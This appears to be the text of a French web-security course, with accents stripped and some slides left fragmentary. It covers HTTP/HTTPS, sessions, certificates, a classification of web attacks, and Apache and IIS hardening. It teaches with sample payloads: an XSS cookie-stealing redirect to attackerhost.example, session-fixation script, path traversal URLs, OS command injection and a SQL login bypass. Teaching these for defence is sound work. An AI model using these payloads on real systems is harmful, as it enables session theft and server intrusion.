Beruflich Dokumente
Kultur Dokumente
SCURIT WEB
Introduction au protocole HTTP
Introduction au protocole HTTPS
Classification des attaques
Architecture rseau
Qualit des dveloppements Web
Injections
XSS (Cross Site Scripting)
Gestion des sessions authentifies
Prsentation doutils
Dnis de service
Apache
Internet Information Services (IIS)
PROTOCOLE HTTP
Format des requtes
Fonctionnement :
Connexion
demande (GET) dun document
renvoi du document (status=200) ou dune erreur
dconnexion
TYPE DE DIALOGUE
Rcupration dun document
* mthode GET
Soumission dun formulaire
* mthode GET ou POST
Envoi de document et Gestion de Site
DIALOGUE HTTP
Exemple de requte HTTP (mthode POST)
Chacune de ces lignes est compose d'un nom qualifiant le type d'en-tte, suivi de
deux points (:) et de la valeur de l'en-tte
FORMAT DE LA REQUTE
Envoye par le client au serveur
<Mthode><URI> HTTP/<Version>
[<Champ dentte>: <Valeur>]
[<tab><Suite valeur si > 1024>]
Ligne Blanche
[Corps de la requte pour la mthode POST]
MTHODES DE LA REQUTE
GET
Renvoie le contenu du document
indiqu, peut placer des paramtres
dans lentte de la requte
POST
Demande un document comme GET, peut
traiter le document comme sil tait un script
et lui envoi des donnes, peut placer des
paramtres
TRACE
Demande au serveur de retourner le
document envoy sans le changer, elle
est utilise pour dbugger
PUT
Inscrit des donnes dans le
contenu du document
CONNECT
Demande une connexion au serveur relais
pour tablir une communication via un
tunnel (exemple SSL)
HEAD
Retourne linformation de lentte du
document (Taille de fichier, date de
modification, version du serveur)
OPTIONS
Demandes des informations sur les
options disponibles sur communication
DELETE
Efface le document indiqu
Nom de lentte
Description
Accept
Accept-Charset
Accept-Encoding
Accept-Language
Authorization
Content-Encoding
Content-Language
Content-Length
Content-Type
Date
Forwarded
From
From
Link
Orig-URL
Referer
User-Agent
Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur. Elle comprend :
Une ligne de statut: c'est une ligne prcisant la version du protocole utilis et l'tat du
traitement de la requte l'aide d'un code et d'un texte explicatif. La ligne comprend
trois lments devant tre spars par un espace :
La version du protocole utilis
Le code de statut
La signification du code
Une rponse HTTP a donc la syntaxe suivante (<crlf> signifie retour chariot ou saut de ligne) :
FORMAT DE LA RPONSE
Envoye par le serveur au client
100 199
Informationnel
200 299
300 399
301 : Redirection, 302 : Found, 304 : Not Modified, 305 : Use proxy
400 499
400 : Bad Request , 401 : Unauthorized, 403 : Forbidden, 404 : Not Found
500 599
Erreur Serveur
500 : Server Error, 501 : Not Emplemented , 502 : Bad Gateway, 503 : Service unavailable
Ben Farh Hdi
Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur. Elle comprend :
Principe Gnral
Remarques :
lorsqu'un login apparemment inconnu apparat dans les journaux, penser
regarder le code de retour correspondant
Les paramtres sont spars par une virgule et sont les suivants :
realm
Ce paramtre est affich l'utilisateur pour qu'il sache quel nom et mot de passe il
peut utiliser. La chane doit au moins contenir le nom de la machine et le nom du
groupe d'utilisateurs requis.
domain
(optionnel) Contient une liste d'URI spars par le caractre espace, dfinissant le
domain de protection. Ce paramtre donne la liste des URI pour lesquels l'utilisateur
demand est valable.
nonce
Chane gnre par le serveur chaque rponse 401. Il est conseill que cette
chane utilise les caractres Base64 ou hexadcimaux. Ce paramtre est utilis
dans le calcul de la rponse du client.
opaque
(optionnel) Chane gnre par le server que le client doit retourner tel quel.
stale
(optionnel) Ce paramtre a 2 valeurs possibles : true ou false. Il vaut true si la
demande d'identification prcdente a t rejete seulement cause de l'utilisation
d'une ancienne valeur du paramtre "nonce", false sinon. La valeur true indique
que le client doit retenter la requte en utilisant la nouvelle valeur de nonce fournie
par le serveur sans redemander un nom et un mot de passe l'utilisateur.
algorithm
qop
requtes).
Le protocole HTTP est un protocole non connect (on parle aussi de protocole
sans tats, en anglais stateless protocol), cela signifie que chaque requte est
traite indpendamment des autres et qu'aucun historique des diffrentes
requtes n'est conserv.
Ainsi le serveur web ne peut pas se "souvenir" de la requte prcdente, ce qui
est dommageable dans des utilisations telles que le e-commerce, pour lequel le
serveur doit mmoriser les achats de l'utilisateur sur les diffrentes pages.
Il s'agit donc de maintenir la cohsion entre l'utilisateur et la requte, c'est--dire :
reconnatre les requtes provenant du mme utilisateur
session tracking).
Ben Farh Hdi
Rcriture d'URL
La mthode de rcriture d'URL consiste passer des paires cl/valeur en paramtre
dans l'URL. Ainsi, en passant en paramtre un identificateur unique de session,
il est possible de le relier aux donnes stockes sur le serveur.
Toutes les URL dans les pages web du serveur ressembleront donc quelque chose
comme ceci (dans cet exemple purement fictif, l'id de session est 674684641) :
<a href="http://serveur/servlet/exemple?id=674684641">Lien hypertexte</a>
Utilisation de cookies
Les cookies sont des petits fichiers textes stocks sur le disque du client, permettant
de stocker des paires cls/valeur. Les cookies concernant le domaine du site sur lequel
un utilisateur surfe sont automatiquement envoys dans les en-ttes HTTP lors de
chaque requte du client.
D'autre part, lorsque le serveur dsire crer un cookie sur le navigateur du client, il lui
suffit d'envoyer des instructions dans les en-ttes de la rponse HTTP.
Le JSDK fournit une classe permettant de grer de faon transparente les cookies,
il s'agit de la classe Cookie.
Ainsi il est possible de stocker un identifiant de session de la manire suivante :
// Creation du cookie
Cookie C = new Cookie("id","674684641");
// definition de la limite de validite
C.setMaxAge(24*3600);
// envoi du cookie dans la reponse HTTP
res.addCookie(C);
Gnrer un ID de Session
Si le navigateur du client accepte les cookies, ajouter un cookie contenant
l'ID de session
Sinon ajouter l'ID de session dans l'URL
Enregistrer la session avec l'ID nouvellement cr
Un cookie est ainsi un mcanisme prvu pour crer une association entre la session de
l'utilisateur (navigation entre des pages d'un mme site pendant une priode donne)
et les donnes le concernant.
le cookie doit contenir une chane alatoire (identifiant de session) unique et difficilement
devinable, valide uniquement pendant un temps donn.
Seul le serveur doit pouvoir tre en mesure d'associer les prfrences de l'utilisateur
cet identifiant.
Ainsi, aprs expiration du cookie l'identifiant de session sera inutile et le cookie ne
contiendra aucune information concernant l'utilisateur.
Par scurit, vous pouvez effacer ces traces. Nanmoins, il peut tre opportun de
garder les cookies de sites souvent visits pour avoir une navigation plus rapide.
Dans ce cas, le choix des cookies dtruire doit se faire un par un.
Pour Opera
Application
Prsentation
Session
Transport
Rseau
Liaison
Physique
Application
couche 7
Transport
Pour TCP/IP il s'agit de IP,
Rseau
Liaison
Physique
PROTOCOLE HTTPS
Prsentation
Mcanismes dauthentification
Authentification par certificats X.509
CIA
Lors dune ngociation SSL, il faut sassurer de la personne avec qui on communique
HTTPS (avec S pour secured, soit scuris ) est la simple combinaison de HTTP
avec SSL ou TLS.
Il permet au visiteur de vrifier l'identit du site auquel il accde grce
un certificat d'authentification.
Il garantit la confidentialit et l'intgrit des donnes envoyes par l'utilisateur
(notamment des informations entres dans les formulaires) et reues du serveur.
Il est gnralement utilis pour les transactions financires en ligne :
commerce lectronique, banque en ligne, courtage en ligne, etc. Il est aussi utilis pour
la consultation de donnes prives, comme les courriers lectroniques par exemple.
Communications scurises
Fonctionnement de SSL
2
Navigateur
scuris
Certificat racine
du serveur Web
Message
Serveur Web
scuris
4
1
HTTPS
Les certificats de serveur: Ces certificats contiennent des informations sur le serveur
qui autorise un client identifier le serveur avant de partager des informations sensibles.
Les certificats client: Ces certificats contiennent des informations personnelles sur
l'utilisateur et identifient le client SSL (l'expditeur) auprs du serveur.
Le certificat serveur install sur un serveur web permet d'assurer le lien entre le service
et le propritaire du service. Dans le cas d'un site web, il permet de garantir que lURL et
en particulier le domaine de la page web appartiennent bien telle ou telle entreprise.
Par ailleurs il permet de scuriser les transactions avec les utilisateurs grce au protocole
SSL.
Certificat X.509
Dans le systme X.509, une autorit de certification attribue un certificat liant une cl
publique un nom distinctif (Distinguished Name), une adresse e-mail ou un
enregistrement DNS.
Les certificats racines sont des cls publiques non signes, ou auto-signes, mais dignes
de confiance. Des autorits de certification commerciales dtiennent des certificats
racines prsents dans de nombreux logiciels, par exemple les navigateurs.
Internet Explorer ou Firefox contiennent quelques certificats racines prinstalls.
Quand le navigateur ouvre une connexion scurise (SSL) un site ayant achet une
certification auprs d'une autorit connue, il considre que le site est sr, et le passage
en mode scuris est transparent.
Si le certificat est auto-sign (autorit de certification et crateur de la cl publique ne
font qu'un), le navigateur propose de l'examiner, puis de l'accepter ou de le refuser selon
la confiance qu'on lui accorde.
La dure de validit des certifications commerciales n'est pas infinie, elles expirent
souvent au bout d'un an et doivent tre renouveles.
Hach
Signature
3b:c5:cf:d6:9a:bd:e3:c6
Cl prive
de lAC
Thawte
Certigna
Certinomis
Keynectis
Entrust,
Verisign
GlobalSign
ChamberSign,
TBS X509,
CAcert
Gandi.net
OVH
Lorsqu'un utilisateur dsire communiquer avec une autre personne, il lui suffit de se
procurer le certificat du destinataire. Ce certificat contient le nom du destinataire, ainsi
que sa cl publique et est sign par l'autorit de certification. Il est donc possible de
Certificat
Informations
- Autorit de certification : verisign
- Nom du propritaire : Foulen
- Email : webmaster@foulen.net
- Validit : 26/12/2008 au 26/12/2009
- Cl publique : 1a:5b:c3:a5:32:4c:d6:df:42
- Algorithme : RC5
Hach
=?
Signature
3b:c5:cf:d6:9a:bd:e3:c6
Signatures de certificats
On distingue diffrents types de certificats selon le niveau de signature :
Les certificats auto-signs sont des certificats usage interne. Signs par un serveur
local, ce type de certificat permet de garantir la confidentialit des changes au sein
d'une organisation, par exemple pour le besoin d'un intranet. Il est ainsi possible
d'effectuer une authentification des utilisateurs grce des certificats auto-signs.
Authentification
Authorization
Client Side Attack
Command Execution
Information disclosure
Logical Attacks
Authentification
Brute Force:
Processus automatis "d'essai et d'erreur" utilis pour deviner le login
d'une personne, son mot de passe, le numro de carte de crdit, ou une
cl cryptographique.
1
Normal:
Login
2 types:
Mot de passe
N
Renvers:
Login
Mot de passe
Exemple:
Username = Ali
Passwords = Good, Toto-tata, [pet names], [birthdays],
[car names], .
Usernames = Ali, Sami, lotfi, Sarra, Alia, ..
Password = 12345678
Insufficient Authentification:
Cest le fait de permettre un attaquant d'accder des contenus ou des
fonctionnalits critiques sans pour autant tre authentifi. Ceci est d au
fait que certaines ressources sont protges juste en "cachant" leur
emplacement et de ne pas les lier aucune page du site web, cette
approche pour la scurit est dite Security Through Obscurity.
Exemple:
Beaucoup d'applications Web ont t conues avec des fonctionnalits
dadministration distance, des fonctionnalits se trouvant hors du
rpertoire racine (/ admin /).
Gnralement, ce rpertoire nest li aucune des pages du site.
Par contre, cet emplacement reste accessible en utilisant le navigateur.
Hint de Mot de passe: Les indices affichs par un site web servent aider l'utilisateur
se rappeler de son mot de passe . Un utilisateur peut ainsi avoir un bon mot de passe
"122277King" (alphanumrique) mais avec un correspondant hint Anniv+ fav auteur
Question secrte: Un mot de passe utilisateur pourrait tre Paris avec une question
secrte "O tiez-vous n".
Authorization
Insufficient Authorization:
Exemple:
Mme exemple pour /admin/ mais cette fois aprs stre authentifi.
Exemple:
Dans un environnement de PC libre accs (plus quune personne a un
accs physique non restreint un PC). Si lapplication web ne termine pas la
session en cours de lutilisateur mais le redirige simplement vers la page
daccueil du site. Un autre utilisateur peut en consultant lhistorique de
navigation du browser, accder aux pages visites alors que celles-ci
devraient tre inaccessibles SESSION EXPIRE .
Session Fixation:
Technique qui force l'identifiant de session d'un utilisateur ( session ID) une valeur
prdfinie.
Exemple:
Code Snippet:
http://example/<script>document.cookie="sessionid =1234;%20
Expires=Friday,%201 Jan2010%2000:00:00%20GMT;</script>.idc
Content Spoofing:
Exemple:
<frame src=http://foo.example/file.html>
Cross-site Scripting:
Le Cross Site Scripting (XSS) est une attaque exploitant une faiblesse d'un
site web qui valide mal ses paramtres en entre.
Du code HTML, Javascript ou VBScript est envoy en paramtre
l'application.
Celle-ci envoie ensuite ce code un autre utilisateur. Le code provenant
d'une tiers partie servira afficher du contenu subversif, rediriger
l'utilisateur vers un autre site ou voler l'information du client accessible
par le site web.
Exemple:
Cookie Stealing Code Snippet:
<SCRIPT>document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi</SCRIPT>
Command Execution
noter:
Se produisent le plus frquemment dans les langages de
programmation tels que C et C + +.
Un dbordement de tampon peut se produire dans un program CGI
ou quand une page Web accde un program C.
noter:
Se produisent le plus frquemment dans les langages de programmation
tels que C et C + +.
Un dbordement de tampon peut se produire dans un program CGI ou
quand une page Web accde un program C.
LDAP injection:
Technique dattaque utilise pour exploiter les sites Web qui construisent des
instructions LDAP partir des entres de lutilisateur. En effet, les
applications web peuvent utiliser les donnes entres par lutilisateur pour
formuler des requtes LDAP afin de pouvoir chercher les donnes des pages
dynamiques.
Exemple:
Prenons lexemple de ce paramtre envoy la page ldapsearch.asp. En tenant
compte de code source de la page en question, la requte suivante:
http://example/ldapsearch.asp?user=*, listera tous les objets LDAP contenant
un attribut UID.
(exemple de code source de ldapsearch.asp dans la page suivante.
Ldapsearch.asp:
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user
name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) +")" ' searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base dn
.
.
.
Ben Farh Hdi
OS Commanding:
Exemple:
URL dorigine
http://example /cgibin/showInfo.pl?name=John&template=temp1.txt
OS Command
http://example /cgibin/showInfo.pl?name=John&template=/bin/ls|
SQL Injection:
Exploitation des sites web qui construisent leurs instructions SQL partir
des donnes entres par lutilisateur.
Exemple:
Code SQL de la page web
SQLQuery = SELECT UserName FROM Users WHERE UserName = &
strUserName & AND Password = & strPassword &
strAuthCheck = GetQueryResult(SQLQuery)
Login/Password saisie
Login :
OR =
Password : OR =
Requte envoye au serveur SQL
SELECT UserName FROM Users WHERE UserName = OR = AND
Password =
OR =
Exemple:
Serveur sur une machine Unix
XPath Injection:
Information disclosure
Directory indexing:
Exemple:
Prsence de fichiers .bak .old et mme des .conf .config
Information leakage:
Exemple:
<TABLE border="0" cellPadding="0"
cellSpacing="0height="59 idth="591
><TBODY><TR><!--If the image files are
missing,restart VADER --><TD bgColor="#ffffff"
colSpan="5height="17" width=
Path traversal
Forcer l'accs aux fichiers, rpertoires, et les commandes qui peuvent
rsider en dehors du rpertoire racine du serveur web. Un attaquant
peut manipuler une URL de faon ce que le site Web excute ou rvle
le contenu de fichiers de faon arbitraire n'importe o sur le serveur
Web. Tout dispositif qui offre une interface base sur HTTP est
potentiellement vulnrable Path Traversal.
Les plus lmentaires Path Traversal attaque utilisent la squence de
caractre spcial "../ pour modifier l'emplacement des ressources
demandes dans l'URL.
http://www.example.com/../../../../winnt/repair/sam
Path traversal
Exemple:
Attaque contre le serveur web
Attack: http://example/../../../../../some/file
Attack: http://example/..%255c..%255c..%255csome/file
Attack: http://example/..%u2216..%u2216some/file
Exemple:
Recherche de fichiers et repertoires frquemment utiliss
/admin/
/backup/
/logs/
/vulnerable_file.cgi
Ajouter des extensions aux fichiers existants:
(/test.asp)
/test.asp.bak
/test.bak
/test
Logical Attacks
Abuse of functionality:
Denial of Service
Attaque avec l'intention d'empcher un site Web servir les activits
normales des utilisateurs. Les attaques DoS, qui sont facilement
appliques la couche rseau, sont galement possibles la couche
application. Ces attaques malveillantes essayent dpouser les ressources
essentielles d'un systme, dexploiter des vulnrabilits, ou dabuser des
fonctionnalits dun systme.
Exemple:
Utilisation de SQL injection pour effacer le contenu de la base de donne
dun site.
Insufficient Anti-automation:
Quand un site web permet un attaquant d'automatiser un processus
qui ne doit tre effectu que manuellement. Certaines fonctionnalits du
site Web doivent tre protges contre les attaques automatiques
(inscription en ligne, cration de compte email, ). Un robot automatis
pourrait potentiellement excuter des milliers de demandes en une
minute, provoquant la perte potentielle du service.
Exemple:
Chez Yahoo!
Architecture Rseau
L'architecture est la combinaison des routeurs et/ou machines
Architecture Rseau
Architecture Rseau
Avantages
pas dinstallation pralable (client lger), ni maintenance
Technologies utilises
Langages : HTML, Javascript, PHP/ASP/CGI, Perl, Java, ActiveX
Base de Donnes : MySQL, Oracle, MS-SQL Server, Sybase
Serveurs d'applications : Tomcat, Websphere
Serveurs Web : IIS, Apache
Systmes dexploitation : Windows, Linux, UNIX...
Au niveau rseau
couches ISO 3-4 (et infrieures)
c'est le filtrage IP
typiquement ralis par un routeur
Au niveau applicatif
couches ISO 5-7
c'est le relayage applicatif
typiquement ralis sur un serveur
RELAYAGE APPLICATIF
Classification OWASP
Injection et dnis de service
Database
CGI codes
Serveur WEB
Code dinterface utilisateur
Navigateur
INPUT
Protocole : On peut par exemple essayer de remplacer le protocole https par http
Afin de dsactiver une authentification par certificat.
Serveur : On peut le remplacer par son @IP ou par les nom de domaines
Dautres sites hbergs sur le mme serveur, afin davoir accs dautres parties
du site.
Ne jamais faire confiance au code tournant du cot client (exemple : virement bancaire)
Dautre part, il existe des caractres spciaux dont la signification, au sein dune
chane alphanumrique, peut respecter une syntaxe particulire au niveau dun
langage de programmation ou dun systme dexploitation, ce qui peut conduire
lexcution de commandes hostiles.
!@$%^&*()-_+`~\|[]{};:'"?/,.><
Ainsi, le caractre * est interprt sur UNIX comme lensemble des fichiers
contenus dans le rpertoire courant.
De mme, le caractre ; est un sparateur, les caractres < et >
effectuent des redirections, % permet dentrer des caractres par leur code
hexadcimal, etc
OWASP
LOWASP (Open Web Application Security Project) , est un effort communautaire
destin aider les organisations comprendre et amliorer la scurit de
leurs applications et services Web.
Classification OWASP
Paramtres non valids
Gestion de la session
Faille CSS
Buffer overflow
Injection de commandes
Condition derreur
Protection faible
Administration distance
Exemple :
Les attaques par injection SQL (SQL Injections)
SQL Injection
Dfinition : Une injection SQL est un type d'exploitation d'une faille de
scurit d'une application web, en injectant une requte SQL non prvue par
le systme et pouvant compromettre sa scurit.
Considrons un site web dynamique (programm par exemple en PHP) qui
dispose d'un systme permettant aux utilisateurs possdant un nom
d'utilisateur et un mot de passe valides de se connecter.
Ce site utilise la requte SQL suivante pour identifier un utilisateur :
SELECT uid WHERE name = '(nom)' AND password = '(mot de passe chiffr)'
L'utilisateur TOTO souhaite se connecter avec son mot de passe "truc" encod
en MD5. La requte suivante est excute :
Trois participants :
L'attaquant : introduit le code sur le serveur.
Le serveur : envoie la page contenant le code la victime.
La victime : excute le code introduit par l'attaquant.
Fixation de session
Principe : utiliser un XSS afin d'imposer un cookie connu la victime
Schma :
L'attaquant se connecte sur le serveur en mode anonyme
Il reoit un
cookie de session (ex JSP ou PHP)
Il utilise un XSS sur un serveur du mme domaine pour fixer le cookie
chez la victime (via le code JavaScript de type
document.cookie="PHPSESSIONID=78191;domain=.site.tn"
Il attend que la victime s'authentifie sur le serveur. Si celui ci est mal
programm (exemple sessions J2EE), le cookie sera accept.
L'attaquant possde alors un cookie de session authentifi valide qu'il peut
utiliser en parallle avec la victime
Solutions de protection
Ide la plus commune : Filtrer les entres
Supprimer <script> </script> ne rgle pas tout (IMG, <%00script>, ...)
Il y a d'autres manires de gnrer du code dynamique (OnLoad, OnClick,
IFRAME, ...)
Il faut donc tre trs strict dans ce qui est accept, et comparer les entres
par rapport une expression rgulire de type [a-zA-Z0-9]+
Solutions
Former les dveloppeurs !
Penser globalement aux problmes de validation des donnes
Utiliser des technologies qui rduisent les risques ("Quand on rinvente la
roue, il y a de fortes chances qu'elle ne soit pas tout fait ronde").
Faire auditer les applications (audit de code ou audit intrusif aveugle)
PRSENTATION DOUTILS
Les Scanners de Vulnrabilits pour les failles de service
NESSUS (www.nessus.org)
Retina (www.eeye.com)
Shadow Security Scanner (www.safety-lab.com)
GFI LanGuard N.S.S (www.gfi.com/lannetscan/)
Qualys (www.qualys.com)
1.
2.
3.
Cenzic Hailstorm
4.
5.
6.
7.
Whitehats Security
8.
9.
Burp Intruder
10.
MaxPatrol 7
11.
12.
TrustSecurityConsulting HTTPExplorer
13.
14.
NGS Typhon
15.
Parasoft WebKing
16.
Kavado Scando
17.
18.
19.
Apache
Internet Information Services (IIS)
APACHE
APACHE
Apache est un serveur web trs populaire, performant, et sa conception
modulaire le dote d'une grande richesse fonctionnelle
PHP/4.0.3pl1 mod_perl/1.24
(RedHat et Mandrake)
Cela ne suffit toujours pas masquer la version d'Apache : lors dune page inexistante,
Apache renvoie une page d'erreur
404 avec en bas de la page, le message Apache/1.3.14 Server at
www.mon-serveur.org Port 80
qui rvle la version du serveur d'Apache.
Pour empcher cela, il faut dsactiver l'insertion de la signature du serveur avec la
commande ServerSignature Off.
Utiliser ErrorDocument 404 /missing.html pour dfinir votre propre page d'erreur 404.
Exemple :
MaxClients 150
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
Ben Farh Hdi
Ensuite, on enregistre les informations de log prcises par le format dans le fichier de
son choix
CustomLog /var/log/httpd/access_log common
Mesure dfensive
il est fortement conseill de tout interdire par dfaut :
<Directory />
Order deny,allow
Deny from all
</Directory>
Ensuite, il ne reste qu' valider l'accs aux rpertoires correspondant aux sites
Order indique dans quel ordre les directives deny et allow sont values.
Deny from all interdit l'accs depuis partout.
On aurait pu indiquer un nom de machine, un nom de domaine, une adresse IP,
un couple IP/masque de rseau.
Ben Farh Hdi
Options, AllowOverride
Le suivi des liens symboliques FollowSymLinks/SymLinksIfOwnerMatch ;
L'excution des scripts CGI ExecCGI ;
Les Server Side Includes Includes et IncludesNOEXEC ;
La gnration de pages d'index Indexes en l'absence de celles-ci ;
Ainsi que l'orientation multilingue MultiViews.
Il est important d'tre le plus restrictif possible par dfaut, n'autoriser que le suivi
des liens symboliques o liens et destinations ont le mme propritaire
<Directory />
Options SymLinksIfOwnerMatch
AllowOverride None
</Directory />
Un pirate pouvant crire dans un rpertoire du serveur web, par exemple via un partage
NFS, peut en profiter pour accder au fichier /etc/passwd via un lien symbolique
si l'option FollowSymLinks est prsente, Includes ou ExecCGI permet d'excuter des
programmes
La directive AllowOverride peut prendre n'importe quel paramtre qu'aurait pris Options
Ben Farh Hdi
<Directory /home/*/public_html>
AllowOverride AuthConfig
Options SymLinksIfOwnerMatch
</Directory>
<Location "/private">
Options None
AllowOverride None
AuthName "restricted stuff "
AuthType Basic
AuthUserFile "/etc/httpd/.passwd"
require valid-user
</Location>
AccessFileName .htaccess
<Files ~ "^\.ht">
Order deny,allow
Deny from all
</Files>
Si on veut pouvoir dfinir explicitement des exceptions pour les fichiers .htpxxx par
exemple, il faut spcifier l'ordre allow puis deny pour que l'autorisation prime
sur l'interdiction.
Ben Farh Hdi
Perl: mod_perl
Ce mode permet de meilleures performances qu'un script CGI classique.
En terme de scurit, il prsente des risques identiques.
PHP: mod_php
Il est conseill de dfinir les options suivantes dans son fichier de configuration
/etc/php.ini
Ben Farh Hdi
il faut viter l'affichage des lignes fautives lorsque les scripts PHP plantent
safe_mode = On
expose_php = Off
max_execution_time = 30 ; Maximum execution time of each script, in seconds
memory_limit = 8M
magic_quotes_gpc = On
display_errors = Off
[SQL]
sql.safe_mode = On
CGI
Il faut limiter leur prsence des rpertoires bien dtermins, ils sont alors autoriss
par un Options +ExecCGI sur la base d'un rpertoire particulier
Les utilisateurs du serveur peuvent bien souvent publier leurs pages dans leur rpertoire
public_html, configur via le paramtre UserDir public_html.
De faon viter une mauvaise surprise, root n'est pas autoris faire de mme :
UserDir disabled root.
Users et users
Le serveur web est lanc par l'utilisateur root ce qui lui permet d'utiliser le port
privilgi 80, ensuite il prend l'identit d'un utilisateur sans pouvoir apache ou
nobody.
User apache
Group apache
suexec
Le problme est que les scripts s'excutent tous avec le mme id (i.e. le mme propritaire).
En consquence, ils peuvent interfrer entre eux.
Le programme suexec permet d'utiliser des User/Group diffrents pour chaque
virtual host de faon sparer les utilisateurs. En contrepartie, un pirate disposant du
compte apache est capable d'utiliser ce programme pour corrompre d'autres comptes,
c'est pour cela qu'il n'est pas actif par dfaut
Il est dj compil sur une RedHat mais pas forcment activ, il suffit alors d'un
Architecture
Installation
Scurisation
Outils
HTTPS
ARCHITECTURE
ARCHITECTURE
Lorsquune requte HTTP arrive HTTP.Sys , ce dernier vrifie sa validit ,
Si elle est invalide, une page derreur est renvoye au demandeur, sinon
HTTP.Sys vrifie sil peut la traiter partir du cache, dans ce cas, il rpond
Immdiatement, sinon, il renvoie la requte pour quelle saligne avec les autres
En attente. (queue dattente).
Si le Worker process nest pas lcoute, HTTP.Sys signale au WAS de le
Dmarrer et le configurer en se basant sur la configuration au format XML
Sauvegarde dans la base.
Le worker process pousse la requte vers le filtre ISAPI ou vers le code de
lapplication Web pour le traitement, et renvoie la rponse au HTTP.Sys et au
Demandeur.
En cas de dfaillance du Worker process , WAS coordonne avec HTTP.Sys
En attendant de le rdamarrer .
Fiabilit :
IIS 6.0 utilise un nouveau systme pour grer les requtes ainsi quun
environnement disolation qui permet de faire fonctionner diffrentes
applications web dans des environnements vritablement diffrents.
Systme :
Au niveau de ladministration, IIS 6.0 est fournit avec des outils de gestion qui
permettent de ladministrer mieux que jamais.
Les fonctionnalits de la console MMC IIS ont t amliores.
La mtabase de IIS 6.0 se prsente maintenant sous forme dun fichier XML
(contrairement au fichier plat des autres versions).
Il est aussi possible de grer distance IIS 6.0 ainsi que les sites web.
IIS 5.0
Evolutivit :
IIS 6.0 introduit un nouveau driver en mode kernel pour la gestion du protocole
HTTP qui a pour effet daugmenter considrablement :
* Le nombre de sites web quun serveur IIS 6.0 peut hberger sur une seule
machine
* Le nombre de processus actifs qui peuvent sexcuter en concurrence
Scurit :
IIS 6.0 prsente des amliorations notables par rapport IIS 5.0. Par exemple,
pour viter les attaques potentielles, IIS 6.0 nest pas install par dfaut sur les
serveurs Windows 2003.
Les administrateurs doivent donc installer IIS manuellement. Mme aprs
linstallation, IIS 6.0 nest plus configur par dfaut pour servir des pages
dynamiques, il faut donc le configurer aussi manuellement pour fournir du
contenu dynamique.
Installation
Cliquez sur dmarrer , puis sur Excuter
Tapez, appwiz.cpl
C:\Inetpub\wwroot\
Dans le panneau Excuter , tapez la commande inetmgr pour accder au serveur IIS
Localisez
Inetpub
Puis wwwroot
Par dfaut, IIS installe le rpertoire racine de l'arborescence Web sur la partition
systme, ce qui peut permettre un attaquant d'accder aux fichiers systme s'ils ne
sont pas protgs par des permissions d'accs.
les services d'IIS tournent sous le compte SYSTEM, et il est impossible de les
faire tourner sous des comptes moins privilgis. Il n'est pas possible de chrooter
IIS et de le restreindre une "cage" dans le systme de fichiers.
Scurisation d'IIS
Compte tenu de ces diffrents types de vulnrabilits et des modes
d'exploitation qui leur sont lis, il convient de procder en plusieurs tapes
pour aboutir un serveur IIS robuste.
Prvoir d'installer Le serveur Windows sur une DMZ en tant que serveur autonome
plac au sein d'un Groupe de Travail
Installer le systme d'exploitation en formatant toutes les partitions en NTFS et
avec le minimum de fonctionnalits annexes
Installer IIS sans les services FTP et SMTP si vous n'en avez pas besoin et
surtout sans les extensions FrontPage
Prendre soin d'utiliser deux partitions NTFS diffrentes : sur l'une, placer le
systme et les excutables du serveur Web et sur l'autre l'arborescence des
fichiers de votre site Web.
Arrter les services FTP et SMTP et les configurer sur dmarrage manuel sils
sont installs
Rpertoire virtuel
IISSamples
IISHelp
Chemin d'accs
D:\InetPub\scripts
C:\WINNT\Help\IISHelp
Supprimer aussi les autres rpertoires virtuels crs par dfaut (prenez garde aux
rpertoires virtuels qui n'apparaissent pas directement l'intrieur de
l'arborescence Web dans le systme de fichier) :
Rpertoire virtuel
scripts
MSADC
IISAdmin
Printers
RPC
Chemin d'accs
D:\InetPub\scripts
C:\Program
Files\CommonFiles\System\msa
dc
C:\WINNT\System32\InetSrv\IIS
Admin
C:\WINNT\Web\Printers
C:\WINNT\System32\RpcProxy
Supprimer les mappings inutiles. Ne pas considrer que cela peut servir un
jour . Tant qu'un composant n'est pas explicitement utilis, il ne doit pas tre
prsent sur le systme.
Vrifier que WWW Service est bien affich dans la liste droulante et
cliquez sur Edit . Dans l'onglet Home Directory , cliquer sur le bouton
Configuration .
Ben Farh Hdi
Chemin d'accs
Verbes
.htw
C:\WINNT\System32\webhits.dll
GET,HEAD,POST
.ida
C:\WINNT\System32\ida.dll
GET,HEAD,POST
.idq
C:\WINNT\System32\idq.dll
GET,HEAD,POST
.asp
C:\WINNT\System32\inetsrv\asp.dll
GET,HEAD,POST,TRACE
.cer
C:\WINNT\System32\inetsrv\asp.dll
GET,HEAD,POST,TRACE
.cdx
C:\WINNT\System32\inetsrv\asp.dll
GET,HEAD,POST,TRACE
.asa
C:\WINNT\System32\inetsrv\asp.dll
GET,HEAD,POST,TRACE
.htr
C:\WINNT\System32\inetsrv\ism.dll
GET,POST
.idc
C:\WINNT\System32\inetsrv\httpodbc.dll
OPTIONS,GET,HEAD,POST,PUT,
DELETE,TRACE
.shtm
C:\WINNT\System32\inetsrv\ssinc.dll
GET,POST
.shtml
C:\WINNT\System32\inetsrv\ssinc.dll
GET,POST
.stm
C:\WINNT\System32\inetsrv\ssinc.dll
GET,POST
.printer
C:\WINNT\System32\msw3prt.dll
GET,POST
Supprimer tous les mappings sauf .asp, .asa et .cer, si des pages ASP ou des
certificats X.509 clients sont utiliss.
Ben Farh Hdi
Toujours au niveau serveur Web dans la MMC, dans l'onglet ISAPI Filters ,
vrifier la liste des filtres ISAPI installs et supprimer ceux dont leur
provenance est inconnue
Noter que les Web Site Operators ont pourtant le droit de lister les mots de passe
utiliss par IIS l'aide de iispwds.exe, ce qui ne devrait pas tre le cas.
D'ailleurs, mme les Administrateurs ne devraient pas y avoir accs : c'est une
vulnrabilit dcouverte depuis longtemps, qui n'a toujours pas t corrige par Microsoft.
Restreindre les permissions d'accs aux fichiers sur les partitions NTFS. Si certains
